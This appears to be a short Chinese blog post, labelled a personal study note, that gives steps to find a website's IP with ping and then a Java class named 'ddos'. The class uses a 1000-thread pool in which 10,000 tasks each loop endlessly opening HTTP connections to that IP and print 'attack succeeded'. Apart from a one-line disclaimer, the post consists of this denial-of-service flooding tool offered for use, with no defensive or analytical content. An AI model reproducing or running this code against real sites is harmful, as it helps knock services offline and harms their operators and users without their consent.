注：本博客只是为了自己的学习，记录自己的学习，请勿用于其他途径、

1、win+R-->cmd

2、ping 网站

3、替换IP

1 import java.io.BufferedInputStream;

2 import java.io.IOException;

3 import java.net.MalformedURLException;

4 import java.net.URL;

5 import java.net.URLConnection;

6 import java.util.concurrent.ExecutorService;

7 import java.util.concurrent.Executors;

8

9 public class ddos {

10 public static void main(String[] args) {

11 //利用线程池创建1000个线程

12 ExecutorService es = Executors.newFixedThreadPool(1000);

13 for (int i = 0; i < 10000; i++) {

14 es.execute(

15 (Runnable) () -> {

16 while (true) {

17 try {

18 URL url = new URL("http://xxx.xxx.xxx.xxx");

19 URLConnection conn = url.openConnection();

20 System.out.println("发包成功！");

21 BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());

22 byte[] bytes = new byte[1024];

23 int len = -1;

24 StringBuffer sb = new StringBuffer();

25

26 if (bis != null) {

27 if ((len = bis.read()) != -1) {

28 sb.append(new String(bytes, 0, len));

29 System.out.println("攻击成功！");

30 bis.close();

31 }

32 }

33 } catch (MalformedURLException e) {

34 // TODO Auto-generated catch block

35 e.printStackTrace();

36 } catch (IOException e) {

37 // TODO Auto-generated catch block

38 e.printStackTrace();

39 }

40 }

41 }

42 );

43 }

44 }

45 }